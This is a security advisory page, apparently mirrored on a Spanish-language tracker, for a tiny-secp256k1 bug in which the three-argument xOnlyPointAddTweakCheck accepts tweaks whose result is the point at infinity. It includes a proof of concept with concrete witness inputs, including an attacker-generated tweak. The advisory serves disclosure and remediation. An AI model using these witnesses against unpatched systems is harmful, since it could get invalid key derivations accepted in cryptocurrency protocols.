GHSA-HJ9C-QX2W-G7MH
tiny-secp256k1: Stale buffer after ignored wasm failure accepts invalid infinity tweak
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 2.2.5 | tiny-secp256k1 · -24 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Divulgación | Publicada | GHSA-HJ9C-QX2W-G7MH divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Fuente: GitHub Security Advisories | Registro visto por primera vez en GitHub Security Advisories | |
| Monitoreo | Fuente: OSV | Registro visto por primera vez en OSV | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The three-argument `xOnlyPointAddTweakCheck` path ignores the wasm failure return and compares an unchanged input buffer. When the tweak result is the point at infinity, this stale-buffer comparison can return `true` for an invalid derivation.
### Details
`xOnlyPointAddTweakCheck` in `index.ts` has two code paths. The path taken when the caller omits `tweakParity` discards the return value of the wasm call and compares whatever the shared input buffer holds.
try {
X_ONLY_PUBLIC_KEY_INPUT.set(point);
X_ONLY_PUBLIC_KEY_INPUT2.set(resultToCheck);
TWEAK_INPUT.set(tweak);
if (hasParity) {
return wasm.xOnlyPointAddTweakCheck(tweakParity) === 1;
} else {
wasm.xOnlyPointAddTweak();
const newKey = X_ONLY_PUBLIC_KEY_INPUT.slice(
0,
validate.X_ONLY_PUBLIC_KEY_SIZE
);
return compare(newKey, resultToCheck) === 0;
}`x_only_point_add_tweak` in `lib.rs` returns `-1` and leaves `X_ONLY_PUBLIC_KEY_INPUT` untouched when the tweak addition fails.
pub extern "C" fn x_only_point_add_tweak() -> i32 {
unsafe {
let mut xonly_pk = jstry!(x_only_pubkey_parse(X_ONLY_PUBLIC_KEY_INPUT.as_ptr()), 0);
let mut pubkey = PublicKey::new();
if secp256k1_xonly_pubkey_tweak_add(
get_context(),
&mut pubkey,
&xonly_pk,
TWEAK_INPUT.as_ptr(),
) != 1
{
// infinity point
return -1;
}The buffer still holds `point`, which the caller wrote immediately before the call. `newKey` therefore equals `point`, and the comparison against `resultToCheck` succeeds whenever the caller passes `resultToCheck` equal to `point`.
`secp256k1_xonly_pubkey_tweak_add` in upstream `main_impl.h` returns 0 only when the internal key fails to load or the tweak helper fails.
if (!secp256k1_xonly_pubkey_load(ctx, &pk, internal_pubkey)
|| !secp256k1_ec_pubkey_tweak_add_helper(&pk, tweak32)) {
return 0;
}The helper in `secp256k1.c` fails on scalar overflow or on an infinite result.
static int secp256k1_ec_pubkey_tweak_add_helper(secp256k1_ge *p, const unsigned char *tweak32) {
secp256k1_scalar term;
int overflow = 0;
secp256k1_scalar_set_b32(&term, tweak32, &overflow);
return !overflow && secp256k1_eckey_pubkey_tweak_add(p, &term);
}`validateTweak` in `validate.ts` already rejects a tweak at or above the group order, so overflow is excluded and the only remaining cause is `lift_x(point) + tweak * G` reaching the point at infinity.
The parity path is correct for the same input. `secp256k1_xonly_pubkey_tweak_add_check` returns 0 in that case. The two documented forms of the same check disagree.
`xOnlyPointAddTweak` also disagrees with the check, returning `null` for the exact inputs the check accepts.
The condition is untested. `schnorr.js` skips every `xOnlyPointAddTweakCheck` assertion for the infinity vectors present in its own fixtures.
const res = secp256k1.xOnlyPointAddTweak(f.pubkey, f.tweak);
if (f.result === null) {
t.same(res, f.result, `xOnlyPointAddTweak returns null when G pubkey and n - 1 tweak used`);
continue;
}### PoC
Both witnesses are already present in the project fixtures at `schnorr.json` as the two vectors with a null result, and both pass every validator in `validate.ts`.
import * as secp256k1 from "tiny-secp256k1";
const hex = (s) => Uint8Array.from(Buffer.from(s, "hex"));
// x coordinate of G, and the tweak n - 1
const point = hex("79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798");
const tweak = hex("fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364140");
// lift_x(point) + tweak * G is the point at infinity, no tweaked key exists
console.log(secp256k1.xOnlyPointAddTweak(point, tweak));
// null
console.log(secp256k1.xOnlyPointAddTweakCheck(point, tweak, point, 0));
// false correct, the parity form uses the C check
console.log(secp256k1.xOnlyPointAddTweakCheck(point, tweak, point));
// true wrong, the three argument form compares point against itselfA second witness from the same fixture uses the x coordinate of `2 * G` with tweak `n - 2`.
const point2 = hex("c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5");
const tweak2 = hex("fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd036413f");
console.log(secp256k1.xOnlyPointAddTweakCheck(point2, tweak2, point2)); // trueBoth were executed against the published `secp256k1.wasm` from npm 2.2.4 under `wasmtime`, driving the exports through the exact write, call, slice, zero sequence `index.ts` performs.
-- witness x(G), n-1
xOnlyPointAddTweak(P, t) = None
check(P, t, P, parity=0) = False
check(P, t, P, parity=1) = False
check(P, t, P) 3-arg form = True
raw wasm return = -1
buffer after call unchanged = True 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
-- witness x(2G), n-2
xOnlyPointAddTweak(P, t) = None
check(P, t, P, parity=0) = False
check(P, t, P, parity=1) = False
check(P, t, P) 3-arg form = True
raw wasm return = -1
buffer after call unchanged = True c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5
-- control, ordinary tweak 5 on x(G)
xOnlyPointAddTweak = (1, 'fff97bd5755eeea420453a14355235d382f6472f8568a18b2f057a1460297556')
check 3-arg with correct result = True
check 3-arg with wrong result = FalseThe control confirms the three argument form is otherwise correct, so the defect is specific to the failure path.
An attacker generated witness follows the same construction with a hash derived tweak.
tweak = 2ae431167097f01e131d3e3fd000044e79eb64f5391d594ec311d4a56a38c1e3
point = d14530c85d0169da4e4be4642f2cdaad14fb0421b690df617d00366b5f1ca832
lift_x(point) + tweak * G = infinity
xOnlyPointAddTweakCheck(point, tweak, point) === true### Impact
The three-argument helper can return `true` for an internal key and tweak whose derived point is at infinity. Protocols that use this result to validate a derived output can accept an invalid key when the caller controls the point, tweak, and comparison value.
Affected versions
- `tiny-secp256k1`: 2.1.0 through 2.2.4.
- `@bitcoin-js/tiny-secp256k1-asmjs`: 2.2.2 through 2.2.4.
The `xOnlyPointAddTweakCheck` API first appears in tiny-secp256k1 2.1.0. Static inspection of the integrity-checked asm.js releases confirms the same ignored return value and unchanged-buffer path when the tweak result is infinity. The WASM reproduction above is not an asm.js runtime measurement.
Remediation
Upgrade `tiny-secp256k1` and `@bitcoin-js/tiny-secp256k1-asmjs`, as applicable, to 2.2.5 or a later patched release. The path without `tweakParity` now checks the backend's failure result before reading and comparing the output buffer. A tweak that produces the point at infinity returns `false`.
References
- Fix: Reject failed infinity tweaks before comparing the output
https://github.com/bitcoinjs/tiny-secp256k1/commit/ba1af1fceea95967a172c6438ed9302730bb7c01
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmtiny-secp256k1 |
Corregida | 2.2.5 | -24 d | 2.2.5 no afectada |
2.2.5Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-107853https://github.com/bitcoinjs/tiny-secp256k1/security/advisories/GHSA-hj9c-qx2w-g7mhhttps://github.com/bitcoinjs/tiny-secp256k1/commit/ba1af1fceea95967a172c6438ed9302730bb7c01https://github.com/bitcoinjs/tiny-secp256k1https://github.com/bitcoinjs/tiny-secp256k1/releases/tag/v2.2.5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
